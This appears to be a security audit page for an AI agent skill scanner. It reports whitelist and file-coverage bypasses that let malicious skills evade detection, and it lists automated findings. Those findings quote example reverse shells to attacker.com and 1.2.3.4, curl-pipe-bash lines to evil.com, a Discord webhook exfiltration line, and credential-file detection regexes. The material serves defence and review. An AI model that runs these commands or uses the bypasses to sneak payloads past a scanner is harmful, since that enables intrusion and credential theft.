Back to skill

Security audit

Clawhub Skill Scanner

Security checks for vulnerabilities and agentic risk

Overview

This is a coherent local skill scanner, but it gives automatic approval/install guidance while its own scanning logic is easy to bypass.

Install only if you treat this as an advisory scanner, not a trusted automatic gate. Do not rely on its SAFE result to auto-install third-party skills until the whitelist and file-coverage bypasses are fixed, and keep manual review for any external skill package.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (2)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/scan_skill.py:148
Finding

Whole-Line Whitelist Allows Trivial Signature-Detection Bypass

Content
View full analysis

Vulnerability Details

File Location: scripts/scan_skill.py:148-153, 219-224, 241-242
Vulnerability Type: Detection bypass caused by overly broad whitelisting
Risk Level: High

Vulnerable Code

python
WHITELIST_PATTERNS = [
    r'# ',  # Comments
    r'"""',  # Docstrings
    r"'''",
    r'https://api\.',  # Standard API calls
    r'localhost|127\.0\.0\.1',  # Local only
]
python
def is_whitelisted(line: str) -> bool:
    """Check if line matches whitelist patterns."""
    for pattern in WHITELIST_PATTERNS:
        if re.search(pattern, line, re.IGNORECASE):
            return True
    return False
python
for line_num, line in enumerate(lines, 1):
    # Skip whitelisted lines
    if is_whitelisted(line):
        continue

Technical Analysis

The scanner applies whitelist expressions to an entire source line before running any critical, warning, or informational security checks. A match anywhere on the line causes the scanner to skip that line completely.

The whitelist expressions are not restricted to syntactically verified comments, docstrings, string literals, or safe network operations. In particular:

  • # can be appended as a normal Python or shell comment after executable malicious code.
  • """ and ''' may occur in executable expressions or arguments and are not necessarily documentation.
  • https://api. can be inserted into an otherwise dangerous line.
  • localhost or 127.0.0.1 can be included in an unrelated string or comment.

Because matching is substring-based rather than syntax-aware, an attacker can combine a known critical pattern with any whitelist token and suppress the finding.

Attack Path

  1. An attacker creates a Skill containing an operation that would normally match a critical signature, such as:
    python
    os.system(command)  # bypass
    
  2. The scanner reads the line and calls `is_whitelist ...[truncated 1122 chars]
Remediation
View remediation

Remediation Suggestions

  1. Remove the global line-level whitelist and run security checks before applying any suppression.
  2. Use language-aware parsers:
    • Use Python's ast and tokenize modules to distinguish executable code from comments and docstrings.
    • Use appropriate parsers for JavaScript, TypeScript, shell, YAML, and other supported formats.
  3. Apply suppressions only to the exact non-executable token or span that has been proven safe; never suppress all checks for a line because one substring matched.
  4. Do not treat API URLs or localhost references as inherently safe. A line can communicate with a legitimate-looking endpoint while also executing dangerous behavior.
  5. Add regression tests containing dangerous patterns followed by every whitelist token, including:
    python
    os.system(command)  # comment
    exec(payload_with_triple_quote)
    subprocess.run(command, shell=True)  # https://api.example
    
  6. Make explicit suppressions narrowly scoped and auditable, such as a dedicated annotation tied to one rule, and report suppressed findings in scanner output.
  7. Fail closed when parsing is unsuccessful rather than treating ambiguous content as safe.

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/scan_skill.py:325
Finding

Incomplete File Discovery Allows Payloads to Evade Security Scanning

Content
View full analysis

Vulnerability Details

File Location: scripts/scan_skill.py:325-332
Vulnerability Type: Security scan coverage bypass
Risk Level: Medium

Vulnerable Code

python
for root, dirs, files in os.walk(skill_path):
    # Skip hidden directories
    dirs[:] = [d for d in dirs if not d.startswith('.')]

    for file in files:
        filepath = Path(root) / file
        if filepath.suffix.lower() in extensions or file in {'SKILL.md', 'Dockerfile'}:
            result.files_scanned += 1
            scan_file(filepath, result)

Technical Analysis

The scanner deliberately excludes all hidden directories and only scans files whose suffix appears in a fixed extension allowlist, plus SKILL.md and Dockerfile.

This selection policy silently omits security-relevant content such as:

  • Scripts stored under hidden directories.
  • Extensionless shell or Python executables.
  • Files with uncommon or deliberately misleading extensions.
  • Build, installation, package-manager, or runtime files not present in the allowlist.
  • Payloads invoked by scanned launcher files but stored in excluded locations.

The scanner neither reports skipped files nor treats incomplete coverage as a reason to withhold a SAFE result. Consequently, the reported risk level can imply full project coverage even when executable package content was never inspected.

Attack Path

  1. An attacker places a malicious payload in an excluded location, such as .assets/run or an extensionless executable named install.
  2. A scanned manifest, launcher, or runtime component references that file using a construction that does not trigger an existing signature.
  3. os.walk prunes .assets, or the suffix allowlist rejects the extensionless file.
  4. The scanner does not inspect or report the omitted payload.
  5. The remaining scanned files produce no findings, resulting in a possible SAFE classification.
  6. An installation o ...[truncated 695 chars]
Remediation
View remediation

Remediation Suggestions

  1. Inventory every file under the supplied root before scanning and include the inventory and skipped-file count in the report.
  2. Do not automatically prune hidden directories. Scan their contents or classify their presence as requiring manual review.
  3. Inspect extensionless files for shebangs, executable permission bits, and recognizable text or script content.
  4. Expand coverage to installation, build, package-manager, workflow, and configuration file types relevant to supported Skill packages.
  5. Detect file type by content in addition to filename extension.
  6. Flag unsupported, encrypted, archived, binary, or otherwise uninspectable files and prevent an unconditional SAFE result while such content remains unresolved.
  7. Resolve and inspect local references from manifests and launcher scripts so referenced payloads cannot evade scanning solely through their path or extension.
  8. Add regression tests for payloads in hidden directories, extensionless executables, mixed-case filenames, misleading extensions, and nested archives.
Vulnerability Patterns
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
Findings (29)

YARA rule 'c2_framework_indicators': Command-and-control framework indicators (Cobalt Strike, Metasploit, Sliver, etc.) [malware]

Critical
Category
YARA Match
Confidence
85% confidence
Finding

YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).

Content

Scanner excerpt · SKILL.md (reported line 142)May include surrounding context.

without installing clawhub inspect "$SKILL" --out "$TEMP"

Scan

python3 /path/to/scan_skill.py "$TEMP" --install-if-safe if [ $? -eq 0 ]; then clawhub install "$SKILL" else echo "🔴 Installation blocked by security scan" exit 1 fi

rm -rf "$TEMP"

text

## References

See `references/threat-patterns.md` for detailed pattern explanations.

## Credits

Developed in response to the ClawHavoc campaign (Feb 2026) that demonstrated
large-scale supply chain attacks via AI agent skill marketplaces.

YARA rule 'reverse_shell': Reverse shell patterns in scripts or source code [malware]

Critical
Category
YARA Match
Confidence
85% confidence
Finding

YARA rule matched a known malware signature (reverse shell, backdoor, ransomware, C2 framework, or info stealer).

Content

Scanner excerpt · references/threat-patterns.md (reported line 12)May include surrounding context.

Threat Patterns Reference

Detailed explanation of security patterns detected by ClawHub Skill Scanner.

🔴 CRITICAL Patterns

Reverse Shells

Allow attackers remote access to your system.

PatternExampleRisk
nc -enc attacker.com 4444 -e /bin/shNetcat shell
bash -i /dev/tcpbash -i >& /dev/tcp/1.2.3.4/4444 0>&1Bash reverse shell
python socketpython -c 'import socket,subprocess...'Python shell

Curl-Pipe-Bash (Primary ClawHavoc Vector!)

Downloads and executes code in one step — no chance for inspection.

bash
# DANGEROUS:
curl https://evil.com/install.sh | bash
wget https://evil.com/setup.sh && chmod +x setup.sh && ./setup.sh

Webhook Exfiltration

Sends stolen data to external services.

PatternTarget
`discord.com/a

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · README.md (reported line 39)May include surrounding context.

md
| Category | Examples |
|----------|----------|
| **Reverse Shells** | `nc -e`, `bash /dev/tcp`, Python socket shells |
| **Curl-Pipe-Bash** | `curl \| bash`, `wget && chmod +x` |
| **Credential Access** | ~/.ssh, ~/.aws, ~/.openclaw, .env files |
| **Data Exfiltration** | Discord/Slack webhooks, POST with secrets |
| **Malicious Domains** | glot.io, pastebin (known malware hosts) |

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · SKILL.md (reported line 44)May include surrounding context.

md
| Category | Examples |
|----------|----------|
| **Reverse Shells** | `nc -e`, `bash /dev/tcp`, Python socket shells |
| **Curl-Pipe-Bash** | `curl \| bash`, `wget && chmod +x` |
| **Credential Access** | ~/.ssh, ~/.aws, ~/.openclaw, .env files |
| **Data Exfiltration** | Discord/Slack webhooks, POST with secrets |
| **Malicious Domains** | glot.io, pastebin (known malware hosts) |

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · README.md (reported line 74)May include surrounding context.

md
📊 RISK SCORE: 90/100 - 🔴 BLOCKED

🔴 CRITICAL FINDINGS (3)
  [install.py:15] Curl pipe to shell (DANGEROUS!)
    Code: os.system('curl https://evil.com/x.sh | bash')
  [setup.py:42] Discord webhook exfiltration
    Code: requests.post('https://discord.com/api/webhooks/...')

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · SKILL.md (reported line 95)May include surrounding context.

md
📊 RISK SCORE: 90/100 - 🔴 BLOCKED

🔴 CRITICAL FINDINGS (3)
  [install.py:15] Curl pipe to shell (DANGEROUS!)
    Code: os.system('curl https://evil.com/x.sh | bash')
  [setup.py:42] Discord webhook exfiltration
    Code: requests.post('https://discord.com/api/webhooks/...')

Anti-Refusal Statement

High
Category
Anti-Refusal
Confidence
85% confidence
Finding

Skill instructs the agent to omit warnings, disclaimers, or ethical commentary. Stripping safety caveats hides risk from the user and is a common jailbreak preamble.

Content

Scanner excerpt · SKILL.md (reported line 63)May include surrounding context.

md
### Philosophy

We intentionally **don't warn** on common patterns like:
- HTTP requests (normal for API skills)
- API key references (normal for integration skills)
- File writes (normal for data skills)

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · references/threat-patterns.md (reported line 21)May include surrounding context.

bash
# DANGEROUS:
curl https://evil.com/install.sh | bash
wget https://evil.com/setup.sh && chmod +x setup.sh && ./setup.sh

Chaining Abuse

High
Category
Tool Misuse
Confidence
70% confidence
Finding

Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.

Content

Scanner excerpt · references/threat-patterns.md (reported line 21)May include surrounding context.

bash
# DANGEROUS:
curl https://evil.com/install.sh | bash
wget https://evil.com/setup.sh && chmod +x setup.sh && ./setup.sh

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · README.md (reported line 40)May include surrounding context.

md
r'\.aws[/\\]': 'AWS credentials access',
    r'\.openclaw[/\\]credentials': 'OpenClaw credentials access',
    r'(open|read|load|write).*\.clawdbot': 'ClawdBot config file access',
    r'\.clawdbot.*\.env': 'ClawdBot .env access (ClawHavoc target!)',
    r'(open|read|load).*\.env': 'Environment file read',
    r'dotenv\.load|load_dotenv': 'Dotenv loading',
    r'private[_-]?key|privatekey': 'Private key reference',

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · SKILL.md (reported line 45)May include surrounding context.

md
r'\.aws[/\\]': 'AWS credentials access',
    r'\.openclaw[/\\]credentials': 'OpenClaw credentials access',
    r'(open|read|load|write).*\.clawdbot': 'ClawdBot config file access',
    r'\.clawdbot.*\.env': 'ClawdBot .env access (ClawHavoc target!)',
    r'(open|read|load).*\.env': 'Environment file read',
    r'dotenv\.load|load_dotenv': 'Dotenv loading',
    r'private[_-]?key|privatekey': 'Private key reference',

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · SKILL.md (reported line 99)May include surrounding context.

md
r'\.aws[/\\]': 'AWS credentials access',
    r'\.openclaw[/\\]credentials': 'OpenClaw credentials access',
    r'(open|read|load|write).*\.clawdbot': 'ClawdBot config file access',
    r'\.clawdbot.*\.env': 'ClawdBot .env access (ClawHavoc target!)',
    r'(open|read|load).*\.env': 'Environment file read',
    r'dotenv\.load|load_dotenv': 'Dotenv loading',
    r'private[_-]?key|privatekey': 'Private key reference',

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/scan_skill.py (reported line 27)May include surrounding context.

python
r'\.aws[/\\]': 'AWS credentials access',
    r'\.openclaw[/\\]credentials': 'OpenClaw credentials access',
    r'(open|read|load|write).*\.clawdbot': 'ClawdBot config file access',
    r'\.clawdbot.*\.env': 'ClawdBot .env access (ClawHavoc target!)',
    r'(open|read|load).*\.env': 'Environment file read',
    r'dotenv\.load|load_dotenv': 'Dotenv loading',
    r'private[_-]?key|privatekey': 'Private key reference',

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · SKILL.md (reported line 100)May include surrounding context.

md
r'\.aws[/\\]': 'AWS credentials access',
    r'\.openclaw[/\\]credentials': 'OpenClaw credentials access',
    r'(open|read|load|write).*\.clawdbot': 'ClawdBot config file access',
    r'\.clawdbot.*\.env': 'ClawdBot .env access (ClawHavoc target!)',
    r'(open|read|load).*\.env': 'Environment file read',
    r'dotenv\.load|load_dotenv': 'Dotenv loading',
    r'private[_-]?key|privatekey': 'Private key reference',

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/scan_skill.py (reported line 27)May include surrounding context.

python
r'\.aws[/\\]': 'AWS credentials access',
    r'\.openclaw[/\\]credentials': 'OpenClaw credentials access',
    r'(open|read|load|write).*\.clawdbot': 'ClawdBot config file access',
    r'\.clawdbot.*\.env': 'ClawdBot .env access (ClawHavoc target!)',
    r'(open|read|load).*\.env': 'Environment file read',
    r'dotenv\.load|load_dotenv': 'Dotenv loading',
    r'private[_-]?key|privatekey': 'Private key reference',

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · scripts/scan_skill.py (reported line 28)May include surrounding context.

python
r'\.aws[/\\]': 'AWS credentials access',
    r'\.openclaw[/\\]credentials': 'OpenClaw credentials access',
    r'(open|read|load|write).*\.clawdbot': 'ClawdBot config file access',
    r'\.clawdbot.*\.env': 'ClawdBot .env access (ClawHavoc target!)',
    r'(open|read|load).*\.env': 'Environment file read',
    r'dotenv\.load|load_dotenv': 'Dotenv loading',
    r'private[_-]?key|privatekey': 'Private key reference',

External Script Fetching

High
Category
Supply Chain
Confidence
70% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · scripts/scan_skill.py (reported line 43)May include surrounding context.

python
# Curl-Pipe-Bash (Primary ClawHavoc vector!)
    r'curl\s+.*\|\s*(ba)?sh': 'Curl pipe to shell (DANGEROUS!)',
    r'wget\s+.*\|\s*(ba)?sh': 'Wget pipe to shell (DANGEROUS!)',
    r'curl\s+.*>\s*.*\.sh\s*&&': 'Download and execute script',
    r'wget\s+.*&&\s*chmod\s*\+x': 'Download and make executable',
    
    # Webhook Exfiltration

Autonomous Decision Making

Medium
Category
Excessive Agency
Confidence
85% confidence
Finding

Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.

Content

Scanner excerpt · README.md (reported line 59)May include surrounding context.

md
| Score | Level | Action |
|-------|-------|--------|
| 0-20 | 🟢 SAFE | Auto-approve |
| 21-50 | 🟡 CAUTION | Review findings |
| 51-80 | 🔶 DANGER | Detailed review required |
| 81-100 | 🔴 BLOCKED | Do NOT install |

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · README.md (reported line 77)May include surrounding context.

md
[install.py:15] Curl pipe to shell (DANGEROUS!)
    Code: os.system('curl https://evil.com/x.sh | bash')
  [setup.py:42] Discord webhook exfiltration
    Code: requests.post('https://discord.com/api/webhooks/...')

📁 FILES SCANNED: 5
📏 TOTAL LINES: 230

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 98)May include surrounding context.

md
[install.py:15] Curl pipe to shell (DANGEROUS!)
    Code: os.system('curl https://evil.com/x.sh | bash')
  [setup.py:42] Discord webhook exfiltration
    Code: requests.post('https://discord.com/api/webhooks/...')

📁 FILES SCANNED: 5
📏 TOTAL LINES: 230

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
86% confidence
Finding

The skill advertises behavior that involves shell commands, file access, environment access, and network-related scanning/integration examples, but it does not declare any explicit tool scope such as permissions or allowed-tools. Missing scope boundaries can cause the platform to grant broader-than-necessary capabilities or make operator review harder, which weakens least-privilege controls.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

The trigger phrases are broad enough to activate on routine installation-related conversations, increasing the chance the skill runs in unintended contexts. Over-triggering a security gatekeeper can cause workflow hijacking, denial of normal operations, or accidental exposure of user-provided skill contents to the scanner when not intended.

Content

No source excerpt is available for this finding.

Autonomous Decision Making

Medium
Category
Excessive Agency
Confidence
85% confidence
Finding

The documented 'Auto-approve' action for low scores enables autonomous security decisions on third-party skill installation. If the scanner misses a threat or is bypassed, this can lead to unsafe installation without human review, creating supply-chain risk.

Content

Scanner excerpt · SKILL.md (reported line 80)May include surrounding context.

md
| Score | Level | Action |
|-------|-------|--------|
| 0-20 | 🟢 SAFE | Auto-approve |
| 21-50 | 🟡 CAUTION | Review findings |
| 51-80 | 🔶 DANGER | Detailed review required |
| 81-100 | 🔴 BLOCKED | Do NOT install |

Session Persistence

Medium
Category
Rogue Agent
Confidence
80% confidence
Finding

Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Content

Scanner excerpt · references/threat-patterns.md (reported line 47)May include surrounding context.

md
|---------|--------|
| `crontab -` | Scheduled tasks |
| `/etc/cron` | System cron |
| `systemctl enable` | Systemd service |
| `LaunchAgents` | macOS autostart |
| `.bashrc` | Shell login hook |

Sudo/Root Execution

Medium
Category
Privilege Escalation
Confidence
70% confidence
Finding

Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.

Content

Scanner excerpt · references/threat-patterns.md (reported line 95)May include surrounding context.

md
The scanner may produce false positives for:

- **Documentation** — `sudo apt install` in README files
- **Regex patterns** — `$SYMBOL` for stock tickers
- **Legitimate APIs** — Webhook endpoints in app code
- **Data storage** — `.clawdbot/skills/` for skill data

Static analysis

Detected: suspicious.dynamic_code_execution

Dynamic code execution detected.

Critical
Code
suspicious.dynamic_code_execution
Location
scripts/scan_skill.py:72